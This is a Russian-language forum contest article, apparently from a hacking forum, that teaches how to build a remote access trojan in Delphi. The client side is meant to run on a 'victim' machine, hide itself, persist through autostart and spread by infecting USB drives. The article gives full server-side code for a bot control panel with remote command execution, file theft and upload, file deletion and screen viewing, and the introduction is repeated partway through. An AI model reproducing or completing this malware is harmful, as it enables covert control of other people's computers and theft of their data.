- Регистрация
- 31.12.2019
- Сообщения
- 7,534
- Реакции
- 36
Введение.
Эта статья написана мной(KONUNG) специально для конкурса на XSS. Сейчас я расскажу о том как я разрабатывал свой ратник, программировал я его долго, в основном когда было время. Ратник написан на Delphi, данный язык я выбрал из-за его нативности да и просто потому что он очень хорошо мне знаком, приходилось частенько писать всякие софта на нем, но даже если вы не программист или не знаете данного языка, не спешите закрывать статью, я постараюсь объяснить все простыми словами, для большей наглядности, каждую строчку кода я буду объяснять, дополнять своими комментариями, желательно что бы Delphi была от XE5 и выше, старые версии студии могут не подойти. Клиент можно без затруднений перенести на другие языки так как я буду использовать в основном winapi функции. Не скажу что сейчас продемонстрирую невьебеннейший ратник который будет панацеей для тех кто ищет подобный софт, т.к. я сам не профи и возможно в коде будут ошибки.
Теория.
Фундаментом для всех софтов удаленного доступа служит протокол передачи данных. Есть много вариантов HTTPS, BitTorrent и т.д., мы же будем использовать сокеты. Сокеты бывают двух, TCP и UDP, синхронные и асинхронные, блокируемые и неблокируемые. TCP гарантирует доставку пакетов, их очередность, автоматически разбивает данные на пакеты и контролирует их передачу, в отличии от UDP. Но при этом TCP работает медленнее за счет повторной передачи потерянных пакетов и большему количеству выполняемых операций над пакетами. Ну я думаю вы уже догадались каким мы будем использовать. Итак, софт состоит из двух частей, серверной(той что у нас) и клиентской(той что у жертвы).
Логика такая, после запуска клиентской части, первое что крыса делает это смотрит есть ли она уже в системе, если нету, копирует себя в определенную директорию, если есть то проверяет запущен ли уже какой нибудь экземпляр ее самой, если запущен то она выключается, после создаются потоки заражения флешки, проверки инжекта DLL и автозагрузки (ниже объясню), можно было бы конечно ещё и клиппер пихнуть, ну это вы уже как нибудь сами, затем сервер и клиент устанавливают соединение, а потом начинают общаться, в стиле:
-Привет, как дела?
-Привет, у меня все хорошо.
Сервер будет отправлять команды, клиент будет воспринимать их, и действовать согласно указаниям, когда необходимо отправлять ответ, если вдруг сервер отключается, то клиент снова пытается наладить соединение, ну общую логику думаю вы поняли, как самую первые действия после запуска можно добавить проверку на виртуалку или песочницы.
Сервер.
Что же, на серверной части мы будем использовать VCL форму с VCL компонентами сокетов, я решил что во время написания этой части софта, не буду использовать winsock, а просто возьму уже готовую оболочку, это сократит время на написание серверной части. И так, первое что нам нужно сделать это добавить VCL компоненты сокетов, так как изнаально их нету в менюшке с визуальными компонентами. Просто следуйте действиям на скринах.
Установка сокетов
Далее в появившемся диалоговом окне проходим по пути к вашей Delphi, в моем случае это C:\Program Files (x86)\Embarcadero\Studio\21.0\bin там находим файл dclsockets270.bpl в разных версиях Delphi цифры могут отличаться.
Следующий этап, это создание формы, нужно накидать на нее элементов и сделать что-то похожее на панель управления ботами. Можете сделать панель такую как у меня. на скрине будут описаны свойства каждого из элементов.
Итак после того как мы создали приемлемую панель управления, можем потихоньку приступать к написанию кода, первое что мы сделаем это пропишем запуск сервера, у кнопки с текстом "Начать прием" создаем событие OnClick и прописываем следующий код.
Далее нам нужно обьявить класс
для тех кто не знает, в Delphi классы обьявляются после ключевого слова type, то есть чуть выше глобального обьявления переменных (глобального var)
В данном классе у нас будет храниться ответ от клиента, после того как клиент подключается к серверу в ListView мы создаем Итем у которого будут определенные свойства, по которым мы будем ориентироваться в каком положении вообще находится клиент. то есть у нас получается этакая сетка с данными, аля многомерный массив. С точки зрения кода это будет выглядеть следующим образом, у ServerSocket прописываем событие OnClientConnect
Следующим по очереди, и наверное одним из самых важных идет обработка ошибок, на первый взгляд все кажется запутанным, но если вникнуть в логику то вы поймете как все элементарно. У нас есть Timer о котором как раз и пойдет сейчас речь, таймер с интервалом в 5 сек. пингует всех подключенных ботов, и если во время пинговки происходит ошибка то он просто удаляет этого бота из ListView, а во время передачи файла или демонстрации экрана таймер не пингует этого бота, а понимает это он по Objects[2], если значение True, то не пингует, если False то пингует. Во время передачи файла и т.д. клиент может резко оборвать соединение и ServerSocket просто выкенет нам Exception с ошибкой, а значение Object[2] будет True, и так, что мы делаем, у ServerSocket прописываем событие OnCLientError
Событие обработки Таймера
И таким образом получается что клиент который отключился удаляется не сразу, а до следующего пинга, да конечно можно было бы сделать это еще в OnClientError или OnClientDisconnect, но я решил пойти другим путем. Пингуем мы боты по типу Сонара, отправляем ПИНГ и начинаем считать, как только получаем ПОНГ количество времени которое мы ждали делим на два и получается пинг. Поры бы уже перейти на обработку ответов от клиента, но давайте немного отдохнем от кода и займемся вспомогательными формами.
Нжно создать еще парочку форм:
форма файлового менеджера откуда мы будем управлять файлами клиента
форма стека, в которую будет добавлять вся информация которую сервер получает от клиентов
форма для CMD
форма для просмотра рабочего стола.
В форме есть только Memo и кнопка для очисти данных, куда будут стекать все ответы которые мы получаем. Это нужно для удобства отладки, хотя вы можете этого и не делать.
На событие OnClick на кнопке, добавляем всего одну строчку кода
Edit для ввода команды, кнопка для отправки и мемо для отображения ответа.
В заголовках uses добавляем System.Win.ScktComp
в полях формы, в разделе public добавляем переменную DSocket: TCustomWinSocket;
У Edit'а создаем событие onKeyPress со следующим кодом.
OnClick событие на кнопку:
Обработчик события Onclick у CheckBox3, думаю не стоит описывать данный код, тут и так все максимально понятно.
В заголовках uses добавляем System.Win.ScktComp
в полях формы, в разделе public добавляем переменную FDSocket: TCustomWinSocket;
В глобальном var стираем переменную Form5, и добавляем
Эта переменная как показатель того что идет демонстрация
Обрабочик кнопки начала начинающей просмотр
Обработчик кнопки завершения просмотра
procedure TForm5.Button2Click(Sender: TObject);
var Item: TListItem;
begin
usabiles:=false;
Item := Form1.ListView1.FindCaption(0, intToStr(FDSocket.Handle), false, true, false);
Item.SubItems.Objects[2]:=TObject(boolean(false)); //Можно продолжать пинговать
end;
В заголовках uses добавляем System.Win.ScktComp
В полях формы, в разделе public добавляем переменную FDSocket: TCustomWinSocket;
В глобальном var стираем переменную Form2, и добавляем
Edit1 событие OnKeyPress
ListView1 событие onDblClick, открывает папки по двойному клику на папку.
Сейчас не совсем понятно, но когда мы будем писать клиентскую часть, все встанет на свои места
Теперь надо написать обработчик событий OnClick на каждый итем Popupmenu`шки. Я думаю вы поймете какое событие привязано к какой кнопки, взглянув слева от формы на скрине выше.
Теперь когда все необходимые формы прописаны как нам нужно, надо отключить их автоматическое создание вместе с программой. Для этого в верхней панели Студии выбираем раздел Project ->Options. Нам нужно оставитьб только две формы, главную форму, и форму стека, все остальные отключить, они не должны создаваться вместе с софтом.
Итак, наверное вы уже устали возиться с клиентом, но остался последний рывой, и мы перейдем к самому интересному написанию клиента, написание клиента займет намного меньше кода, и при этомбудет гораздо увлекательнее. Ну ладно, давайте продолжим, следующий этам это как раз таки обработка ответов от клиента, и отправка еще нескольких из главной формы.
Добавляем в код главной формы следующее
Я знаю что эту функцию парса использовали триллионы лет назад еще когда по земле ходили мамонты, но это не делает ее не рабочей.
Обрабочик события OnKeyPress на Edit1 на случай если кто-то осмелится написать что-либо кроме цифр.
Теперь самое тяжелое по восприятию, сразу извиняюсь за ужасную стилистику написания кода.
Событие OnClientRead компонента ServerSocket. Логика кода здесь такая, после получения данных сервер смотрит от кого данные пришли, находит по Socket.Handle подходящий итем в ListView, кладет в обьект этого итема полученный ответ от сервера, затем смотрит получил ли он все пакеты, или какой то еще остался, понимает это он по наличию $END$ в ответе, если $END$ есть в ответе то он его удаляет и проверяет какой ответ пришел от клиента, и уже судя по ответу отображает данные, сохраняет файл или что он там делает, а если он все еще не получил $END$ то он будет его ожидать и собирать данные в переменную, до тех пор пока не получит заветный $END$, знак о том что все пакеты пришли.
Теперь нам нужно написать события для PopupMenu главной формы, Ну крч вот
Обработчики каждой из кнопок
N11 -
N21 -
N31 -
N1 -
N2 -
N3 -
N5 -
N6 -
N7 -
Клиент
Я рад что вы добрались до этой части, потому что здесь начинается самое интересное. Вы сейчас скажите что на Delphi нельзя писать трои, он будет много весить и т.д., но не спешите с выводами, первое что следует учесть, это то, что мы не будем использовать VCL компоненты как на серверной стороне, а будем юзать winsock, то есть будем намнго все облегчено. Как обычно создаем VCL проект, но теперь уже удаляем форму, делается это следующим образом:
После этого жмем один раз ЛКМ по Project2 что бы он выделился, и нажимаем Ctrl+V, После чего перед напи предстает следующий код:
Ресурс файл нам не нужен и VCl.Forms тоже. Все это мы затираем и остается у нас только Program Project2; uses и begin end;
Следующее что мы делаем это добавляем в uses следующие заголовки
Ну все, у нас есть пустая программа, лишь с подключенными библиотеками в uses. После uses и подключенных заголовков нам обьявить следующий класс
Этот класс нужен для работы функции SetProcessDpiAwareness, которая импортируется из DLL следующим образом.
Прописать это нужно после Var. Данная функция нужна для того что бы Прога правильно распознавала раздрешение экрана, без этой функции ничего не выйдет. Вы скажите все норм если попробуете сделать это без данной функции в другом проекте, и будете правы, но тут ведь мы отключили манифест в котором как раз таки и указывается DpiAwareness, по этому нам нужно установить его вручную.
Далее для удобства обьявляем константы что бы не бегать по коду и не переправлять каждую строку, когда это будет нужно.
Далее по порядку идут переменные
Теперь давайте приступик к написанию самого кода. Первое что должен делать клиент это смотреть есть ли он уже в системе.
И того у нас получается невидимая папка
Теперь создаем потоки о которых я говорил в теоритической части статьи
данный поток будет находить программы не по их названию окна, а названию класса окна, т.к. винда может быть на разных языках, и заголовок окна будет всегда разный, но не класс
Теперь пишем основной код Клиента
По весу клиент выходит примерно на 208кб., это из-за GDI+, если не использовать его и импортировать все необходимые функции вручную, то можно сократить общий обьем до 50кб, при переписывании кода на Delphi 7 вес уменьшается до 30кб., либо вы можете поступить еще хардкорнее и импортировать вручную функции winsock, и того 16кб. информация для тех кто сильно беспокоется на счет веса клиента.
Заключение
Спасибо что дочитали статью до конца, в данный проект я вложил душу и частичку себя, по-этому я надеюсь что вы оцените его по достоинству, код предоставленный здесь полностью рабочий если собрать его как надо, если же во время написания софта по моему коду у вас внезапно возникнут какие-то несостыковки или вопросы, можете написать мне в теме или в личку, отвечу на все вопросы. Подитоживая, мы имеем полностью рабочий ратник с функциями демонстрации экрана, файлового менеджера, заражения флешек и CMD, да я знаю функционал не такой уж и большой, но это самые важные функции, при желании ни составит труда дописать какую нибудь функцию самостоятельно, я постарался максимально просто довести до вас такую трудную тему, в одной статье. Так же хотелось бы услышать здравую критику по коду. Всем удачи в конкурсе.
Литература
https://docs.microsoft.com/en-us/windows/win32/winsock/windows-sockets-start-page-2
https://lecturesnet.readthedocs.io/net/low-level/ipc/socket/intro.html
http://www.delphikingdom.com/asp/viewitem.asp?catalogid=1021
Delphi глазами хакера (Фленов)
Библия Delphi (Фленов)
Автор: KONUNG
Эта статья написана мной(KONUNG) специально для конкурса на XSS. Сейчас я расскажу о том как я разрабатывал свой ратник, программировал я его долго, в основном когда было время. Ратник написан на Delphi, данный язык я выбрал из-за его нативности да и просто потому что он очень хорошо мне знаком, приходилось частенько писать всякие софта на нем, но даже если вы не программист или не знаете данного языка, не спешите закрывать статью, я постараюсь объяснить все простыми словами, для большей наглядности, каждую строчку кода я буду объяснять, дополнять своими комментариями, желательно что бы Delphi была от XE5 и выше, старые версии студии могут не подойти. Клиент можно без затруднений перенести на другие языки так как я буду использовать в основном winapi функции. Не скажу что сейчас продемонстрирую невьебеннейший ратник который будет панацеей для тех кто ищет подобный софт, т.к. я сам не профи и возможно в коде будут ошибки.
Теория.
Фундаментом для всех софтов удаленного доступа служит протокол передачи данных. Есть много вариантов HTTPS, BitTorrent и т.д., мы же будем использовать сокеты. Сокеты бывают двух, TCP и UDP, синхронные и асинхронные, блокируемые и неблокируемые. TCP гарантирует доставку пакетов, их очередность, автоматически разбивает данные на пакеты и контролирует их передачу, в отличии от UDP. Но при этом TCP работает медленнее за счет повторной передачи потерянных пакетов и большему количеству выполняемых операций над пакетами. Ну я думаю вы уже догадались каким мы будем использовать. Итак, софт состоит из двух частей, серверной(той что у нас) и клиентской(той что у жертвы).
Логика такая, после запуска клиентской части, первое что крыса делает это смотрит есть ли она уже в системе, если нету, копирует себя в определенную директорию, если есть то проверяет запущен ли уже какой нибудь экземпляр ее самой, если запущен то она выключается, после создаются потоки заражения флешки, проверки инжекта DLL и автозагрузки (ниже объясню), можно было бы конечно ещё и клиппер пихнуть, ну это вы уже как нибудь сами, затем сервер и клиент устанавливают соединение, а потом начинают общаться, в стиле:
-Привет, как дела?
-Привет, у меня все хорошо.
Сервер будет отправлять команды, клиент будет воспринимать их, и действовать согласно указаниям, когда необходимо отправлять ответ, если вдруг сервер отключается, то клиент снова пытается наладить соединение, ну общую логику думаю вы поняли, как самую первые действия после запуска можно добавить проверку на виртуалку или песочницы.
Сервер.
Что же, на серверной части мы будем использовать VCL форму с VCL компонентами сокетов, я решил что во время написания этой части софта, не буду использовать winsock, а просто возьму уже готовую оболочку, это сократит время на написание серверной части. И так, первое что нам нужно сделать это добавить VCL компоненты сокетов, так как изнаально их нету в менюшке с визуальными компонентами. Просто следуйте действиям на скринах.
Установка сокетов
Далее в появившемся диалоговом окне проходим по пути к вашей Delphi, в моем случае это C:\Program Files (x86)\Embarcadero\Studio\21.0\bin там находим файл dclsockets270.bpl в разных версиях Delphi цифры могут отличаться.
Следующий этап, это создание формы, нужно накидать на нее элементов и сделать что-то похожее на панель управления ботами. Можете сделать панель такую как у меня. на скрине будут описаны свойства каждого из элементов.
Итак после того как мы создали приемлемую панель управления, можем потихоньку приступать к написанию кода, первое что мы сделаем это пропишем запуск сервера, у кнопки с текстом "Начать прием" создаем событие OnClick и прописываем следующий код.
Код:
procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
if SpeedButton1.Caption = 'Начать Прослушивание' then //Если текст кнопки - Начать Прослушивание, выполняется следующий код
begin
ServerSocket1.Port:=strtoint(edit1.Text); //Устанавливаем Порт на котором должен будет работать сервер
ServerSocket1.Open; //Запускаем сервер
timer1.Enabled:=true; //Запукаем таймер, дальше вы поймете что он делает
SpeedButton1.Caption:='Остановить Прослушивание'; //Без комментариев
end
else //Если текст кнопки не "Начать Прослушивание", выполняется следующий код
begin
ServerSocket1.Close; //Завершаем работу сервера
timer1.Enabled:=false; //Завершаем работу таймера
SpeedButton1.Caption:='Начать Прослушивание';
listview1.Items.Clear; //Очищаем наш ListView в котором у нас находится инфа о ботах
end;
end;
Далее нам нужно обьявить класс
Код:
ODA = class XXX: string end;
для тех кто не знает, в Delphi классы обьявляются после ключевого слова type, то есть чуть выше глобального обьявления переменных (глобального var)
В данном классе у нас будет храниться ответ от клиента, после того как клиент подключается к серверу в ListView мы создаем Итем у которого будут определенные свойства, по которым мы будем ориентироваться в каком положении вообще находится клиент. то есть у нас получается этакая сетка с данными, аля многомерный массив. С точки зрения кода это будет выглядеть следующим образом, у ServerSocket прописываем событие OnClientConnect
Код:
procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
var item: tlistitem;
GGG: Oda; //Экземляр того класса который мы и создали
begin
GGG:=oda.Create; //Создаем экземляр класса
Item:=Form1.ListView1.Items.Add; //Ну собственно создаем итем
Item.Caption := intToStr(Socket.Handle);
Item.SubItems.Add('');
Item.SubItems.Add(''); //Думаю вы поняли что мы просто прописываем пустоту итему, т.к. мы
Item.SubItems.Add(''); //пока ничего о нем не знаем кроме его "ID" и "IP"
Item.SubItems.Add(socket.RemoteAddress);
Item.SubItems.Add('...');
Item.SubItems.Add('');
Item.SubItems.Add('');
Item.SubItems.Objects[0] := TObject(Socket); //Собственно хранится сам сокет клиента
Item.SubItems.Objects[2] := Tobject(boolean(true)); //Ниже поясню зачем нужен этот объект
Item.SubItems.Objects[3] := TObject(GGG); //В этот объект будут писаться ответ от сервера, пояснения дальше в коде
Socket.SendText('<Ready>$END$'); //Говорим клиенту который подключился что мол все я готов, отправляй инфу о себе
end;
Следующим по очереди, и наверное одним из самых важных идет обработка ошибок, на первый взгляд все кажется запутанным, но если вникнуть в логику то вы поймете как все элементарно. У нас есть Timer о котором как раз и пойдет сейчас речь, таймер с интервалом в 5 сек. пингует всех подключенных ботов, и если во время пинговки происходит ошибка то он просто удаляет этого бота из ListView, а во время передачи файла или демонстрации экрана таймер не пингует этого бота, а понимает это он по Objects[2], если значение True, то не пингует, если False то пингует. Во время передачи файла и т.д. клиент может резко оборвать соединение и ServerSocket просто выкенет нам Exception с ошибкой, а значение Object[2] будет True, и так, что мы делаем, у ServerSocket прописываем событие OnCLientError
Код:
procedure TForm1.ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
var Item: TListItem;
begin
ErrorCode:=0; //Первое что мы делаем это устанавливаем ErrorCode на ноль, что бы по завершению этого события не выскачил Exception
Item := Form1.ListView1.FindCaption(0, intToStr(Socket.Handle), false, true, false); //Теперь мы идентифицируем от какого сокета пришла ошибка, по хэндлу сокета находим итем в ListView
Item.SubItems.Objects[2] := Tobject(boolean(false)); //Далее Устанавливается False значение, что бы таймер мог пинговать, а значит и удалить
end;
Событие обработки Таймера
Код:
procedure TForm1.Timer1Timer(Sender: TObject);
var
i: Integer;
begin
for i := 0 to ListView1.Items.count - 1 do //Проходим по всем ботам
begin
if boolean(Form1.ListView1.Items.Item[i].SubItems.Objects[2]) = false then //Проверяем идет передача файлов или нет
begin //Если передача не идет,
try
Form1.ListView1.Items.Item[i].SubItems.Objects[1] := TObject(GetTickCount); //Начинаем отчет времени
TCustomWinSocket(Form1.ListView1.Items.Item[i].SubItems.Objects[0]).SendText('<|PING|>$END$'); //Отправляем запрос пинга
except //И теперь есть процедура SendText выполнилась с ошибкой то выполняется следующий код
(Form1.ListView1.Items[i].SubItems.Objects[4] as TForm4).Destroy; //Удаляем формы управления,
(Form1.ListView1.Items[i].SubItems.Objects[5] as TForm2).Destroy; //Об этом чуть дальше
(Form1.ListView1.Items[i].SubItems.Objects[6] as TForm5).Destroy;
Form1.ListView1.Items.Delete(i); //Удаляем ботак который не пингуется, i - тот на котором нас выбросило
end;
end;
end;
end;
И таким образом получается что клиент который отключился удаляется не сразу, а до следующего пинга, да конечно можно было бы сделать это еще в OnClientError или OnClientDisconnect, но я решил пойти другим путем. Пингуем мы боты по типу Сонара, отправляем ПИНГ и начинаем считать, как только получаем ПОНГ количество времени которое мы ждали делим на два и получается пинг. Поры бы уже перейти на обработку ответов от клиента, но давайте немного отдохнем от кода и займемся вспомогательными формами.
Нжно создать еще парочку форм:
форма файлового менеджера откуда мы будем управлять файлами клиента
форма стека, в которую будет добавлять вся информация которую сервер получает от клиентов
форма для CMD
форма для просмотра рабочего стола.
В форме есть только Memo и кнопка для очисти данных, куда будут стекать все ответы которые мы получаем. Это нужно для удобства отладки, хотя вы можете этого и не делать.
На событие OnClick на кнопке, добавляем всего одну строчку кода
Код:
memo1.Clear
Edit для ввода команды, кнопка для отправки и мемо для отображения ответа.
В заголовках uses добавляем System.Win.ScktComp
в полях формы, в разделе public добавляем переменную DSocket: TCustomWinSocket;
У Edit'а создаем событие onKeyPress со следующим кодом.
Код:
procedure TForm4.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
if Key = #13 then //Если нажимаем Enter то выполняем следующий код
begin
Key := #0;
Button1Click(self); //Вызываем процедуру Button1Click, процедуру которая выполняется при нажатии кнопки
end;
end;
OnClick событие на кнопку:
Код:
procedure TForm4.Button1Click(Sender: TObject);
begin
FDSocket.SendText('CMD:'+Edit1.Text+'$END$');
edit1.Text:='';
end;
Обработчик события Onclick у CheckBox3, думаю не стоит описывать данный код, тут и так все максимально понятно.
Код:
procedure TForm5.CheckBox3Click(Sender: TObject);
begin
if CheckBox3.Checked then
begin
Image1.AutoSize := false;
Image1.Stretch := true;
Image1.Align := alClient;
end
else
begin
Image1.AutoSize := true;
Image1.Stretch := false;
Image1.Align := alNone;
end;
end;
В заголовках uses добавляем System.Win.ScktComp
в полях формы, в разделе public добавляем переменную FDSocket: TCustomWinSocket;
В глобальном var стираем переменную Form5, и добавляем
Код:
usabiles: boolean;
Обрабочик кнопки начала начинающей просмотр
Код:
procedure TForm5.Button1Click(Sender: TObject);
var Item: TListItem;
begin
if usabiles then raise Exception.Create('Алё нахуй, демонстрация уже идет!');
Item := Form1.ListView1.FindCaption(0, intToStr(FDSocket.Handle), false, true, false);
Item.SubItems.Objects[2]:=TObject(boolean(true)); //что бы не пинговать текущего бота
usabiles:=true;
FDSocket.SendText('DESP:ST$END$'); //Отправляем сообщение о начале демонстрации клиенту
end;
Обработчик кнопки завершения просмотра
procedure TForm5.Button2Click(Sender: TObject);
var Item: TListItem;
begin
usabiles:=false;
Item := Form1.ListView1.FindCaption(0, intToStr(FDSocket.Handle), false, true, false);
Item.SubItems.Objects[2]:=TObject(boolean(false)); //Можно продолжать пинговать
end;
В заголовках uses добавляем System.Win.ScktComp
В полях формы, в разделе public добавляем переменную FDSocket: TCustomWinSocket;
В глобальном var стираем переменную Form2, и добавляем
Код:
OldParrent, colorizer: string;
Edit1 событие OnKeyPress
Код:
procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
if Key = #13 then
begin
Key := #0;
FDSocket.SendText('FilePath:' + Edit1.Text + '$END$')
end;
end;
ListView1 событие onDblClick, открывает папки по двойному клику на папку.
Сейчас не совсем понятно, но когда мы будем писать клиентскую часть, все встанет на свои места
Код:
procedure TForm2.ListView1DblClick(Sender: TObject);
begin
if Edit1.Text[length(Edit1.Text)] = '\'
then Edit1.Text := Edit1.Text + ListView1.Items[ListView1.Selected.Index].Caption
else Edit1.Text := Edit1.Text + '\' + ListView1.Items[ListView1.Selected.Index].Caption;
FDSocket.SendText('FilePath:' + Edit1.Text + '$END$');
end;
Теперь надо написать обработчик событий OnClick на каждый итем Popupmenu`шки. Я думаю вы поймете какое событие привязано к какой кнопки, взглянув слева от формы на скрине выше.
Код:
procedure TForm2.N1Click(Sender: TObject);
var
Memory, separator: string;
begin //Команда которая говорит клиенту запустить какую либо программу
Memory := ListView1.Items[ListView1.Selected.Index].Caption;
if Edit1.Text[length(Edit1.Text)] <> '\' then separator := '\' else separator := '';
FDSocket.SendText('Start:' + Edit1.Text + separator + Memory + '$END$');
end;
procedure TForm2.N2Click(Sender: TObject);
var
Memory, separator: string;
begin //Команда удаления
Memory := ListView1.Items[ListView1.Selected.Index].Caption;
if Edit1.Text[length(Edit1.Text)] <> '\'
then separator := '\'
else separator := '';
if pos('.', Memory) = 0
then FDSocket.SendText('DelDirs:' + Edit1.Text + separator + Memory + '$END$')
else FDSocket.SendText('DelFile:' + Edit1.Text + separator + Memory + '$END$');
end;
procedure TForm2.N3Click(Sender: TObject); //Тут самое интересное, процедура скачивания файла от клиента к серверу
var
Memory, separator, togler: string;
Item: TListItem;
begin
if SaveDialog1.Execute then colorizer := SaveDialog1.FileName else exit; // Выбираем куда будем сохранять
Memory := ListView1.Items[ListView1.Selected.Index].Caption; //берем название файла который хотим скачать
if ListView1.Selected.ImageIndex = 0 then raise Exception.Create('Нельзя скачать папку');
if Edit1.Text[length(Edit1.Text)] <> '\' then separator := '\' else separator := '';
togler := ListView1.Items[ListView1.Selected.Index].SubItems[1]; //Получаем количество байт, что бы прикрутить Gauge
Delete(togler, pos('(бт.)', togler), togler.length); //Удаляем (бт.)
Gauge1.MaxValue := strtoint(togler) + 12; //+12 байт сверху из-за того что клиент помимо файла отправляет еще 12 байт, в которых говорит что это тот самый файл
Item := Form1.ListView1.FindCaption(0, intToStr(FDSocket.Handle), false, true, false); //Находим бота над которым работаем сейчас в таблице ListView, главной формы
item.SubItems.Objects[2]:=TObject(boolean(true)); //Опять же ставим запрет на пинг бота
FDSocket.SendText('Download:' + Edit1.Text + separator + Memory + '$END$'); //Формируем конечный запрос и отправляем его клиенту
end;
function FileOpenText(const FileName: string): ansistring; //Функция для считывания файла в переменную ansistring
var
f: THandle;
dwResSize, dwRead: DWORD;
begin
result := '';
f := CreateFile(PChar(FileName), GENERIC_READ, 0, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if f = INVALID_HANDLE_VALUE then
exit;
try
dwResSize := GetFileSize(f, nil);
SetLength(result, dwResSize);
if dwResSize > 0 then
begin
ReadFile(f, result[1], dwResSize, dwRead, nil);
if dwRead <> dwResSize then
Raise Exception.CreateFmt
('Read error: %d bytes instead of %d (file "%s")',
[dwResSize, dwRead, FileName]);
end;
finally
CloseHandle(f);
end;
end;
function FileSize(fileName : wideString) : Int64; //Думаю название строки говорит само за себя
var
sr : TSearchRec;
begin
if FindFirst(fileName, faAnyFile, sr ) = 0 then
result := Int64(sr.FindData.nFileSizeHigh)
shl Int64(32) + Int64(sr.FindData.nFileSizeLow)
else
result := -1;
FindClose(sr) ;
end;
procedure TForm2.N4Click(Sender: TObject);
var
separator, Data: string;
Item: TListItem;
begin
if not(OpenDialog1.Execute) then exit;
if Edit1.Text[length(Edit1.Text)] <> '\' then separator := '\' else separator := '';
FDSocket.SendText('UPLOAD:'+Edit1.Text + separator + extractfilename(OpenDialog1.FileName)+'$END$'); //Говорим клиенту что бы он приготовился так как мы сейчас будем отсылать файл, так же указываем в какую дирректоирию и с каким именем должен сохраниться файл
Form1.ListView1.FindCaption(0, intToStr(FDSocket.Handle), false, true, false).SubItems.Objects[2]:=TObject(boolean(true)); //Опять же что бы таймер не пинговал текущего бота
sleep(300); //Даем клиенту осознать немного смысл бытия
Data:=FileOpenText(OpenDialog1.FileName); //открываем этот файл в переменную стринг что бы можно было его отправить как будто бы текстом, да я знаю что это костыльный подхох xD
Gauge2.MaxValue := Data.Length; //Устанавливаем размер файла, компоненту Gauge2 как максимальный допустимый
FDSocket.SendText(Data+'$END$'); //Отправляем файл.
end;
Теперь когда все необходимые формы прописаны как нам нужно, надо отключить их автоматическое создание вместе с программой. Для этого в верхней панели Студии выбираем раздел Project ->Options. Нам нужно оставитьб только две формы, главную форму, и форму стека, все остальные отключить, они не должны создаваться вместе с софтом.
Итак, наверное вы уже устали возиться с клиентом, но остался последний рывой, и мы перейдем к самому интересному написанию клиента, написание клиента займет намного меньше кода, и при этомбудет гораздо увлекательнее. Ну ладно, давайте продолжим, следующий этам это как раз таки обработка ответов от клиента, и отправка еще нескольких из главной формы.
Добавляем в код главной формы следующее
Код:
procedure Check;
begin
if form1.listview1.ItemIndex<0 then raise Exception.Create('Выберите Зараженны пк!');
end;
function Pars(T_, ForS, _T: string): string;
var
a,b: integer;
begin
Result:= '';
if (T_='') or (ForS='') or (_T='') then
Exit;
a:= Pos(T_,ForS);
if a=0 then
Exit
else
a:= a+length(T_);
ForS:= copy(ForS, a, Length(ForS)-a+1);
b:=Pos(_T,ForS);
result:= copy(ForS,1,b-1);
end;
Я знаю что эту функцию парса использовали триллионы лет назад еще когда по земле ходили мамонты, но это не делает ее не рабочей.
Обрабочик события OnKeyPress на Edit1 на случай если кто-то осмелится написать что-либо кроме цифр.
Код:
procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
if not (Key in ['0'..'9', #8])then Key:=#0;
end;
Теперь самое тяжелое по восприятию, сразу извиняюсь за ужасную стилистику написания кода.
Событие OnClientRead компонента ServerSocket. Логика кода здесь такая, после получения данных сервер смотрит от кого данные пришли, находит по Socket.Handle подходящий итем в ListView, кладет в обьект этого итема полученный ответ от сервера, затем смотрит получил ли он все пакеты, или какой то еще остался, понимает это он по наличию $END$ в ответе, если $END$ есть в ответе то он его удаляет и проверяет какой ответ пришел от клиента, и уже судя по ответу отображает данные, сохраняет файл или что он там делает, а если он все еще не получил $END$ то он будет его ожидать и собирать данные в переменную, до тех пор пока не получит заветный $END$, знак о том что все пакеты пришли.
Код:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
i: integer;
Splitter: TArray<string>; //Для тех кто не шарит это дженерик, для удобства работы с ответами
Dirs: Tstringlist;
Item: TListItem;
sItem: TListItem;
CMD_Form: TForm4;
File_Form: TForm2;
Remote_Form: TForm5;
begin
Item := Form1.ListView1.FindCaption(0, intToStr(Socket.Handle), false, true, false); //Я думаю это вы уже знаете
(Item.SubItems.Objects[3] as ODA).XXX:=(Item.SubItems.Objects[3] as ODA).XXX+socket.ReceiveText;
if pos('$END$', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then
begin
Delete((Item.SubItems.Objects[3] as ODA).XXX, POS('$END$', (Item.SubItems.Objects[3] as ODA).XXX), Length((Item.SubItems.Objects[3] as ODA).XXX));
form3.Memo1.Lines.Add('SockID:'+inttostr(socket.Handle));
form3.Memo1.Lines.Add((Item.SubItems.Objects[3] as ODA).XXX); //Добавляет данные в стек
if POS('<|Info|>', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then //Ответ на команду Ready, в котором содержатся данные о клиенте
begin
SPlitter:=string((Item.SubItems.Objects[3] as ODA).XXX).Split([':']); //Разрезаем данные и пихаем их в ListView
Item.SubItems[0]:=Splitter[1];
Item.SubItems[1]:=Splitter[2];
Item.SubItems[2]:=Splitter[3];
Item.SubItems.Objects[2] := Tobject(boolean(false)); //Показатель того что все ок, и клиент готов к работе, можно его пинговать
CMD_Form:=TForm4.Create(self); //Вот и пригодились формы над которыми мы работали, каждый бот имеет свой экземляр формы,
CMD_Form.FDSocket:=Socket; //для того что бы можно было управлять несколькими ботами сразу
CMD_Form.Caption:='CMD: '+Item.SubItems[0];
File_Form:=TForm2.Create(self);
File_Form.FDSocket:=Socket;
File_Form.Caption:='File Manager: '+Item.SubItems[0];
Remote_Form:=TForm5.Create(self);
Remote_Form.FDSocket:=Socket;
Remote_Form.Caption:='Remote View: '+Item.SubItems[0];
Item.SubItems.Objects[4] := TObject(CMD_Form);
Item.SubItems.Objects[5] := Tobject(File_Form);
Item.SubItems.Objects[6] := Tobject(Remote_Form);
end else //Тот самый сонар о котором говорилось выше
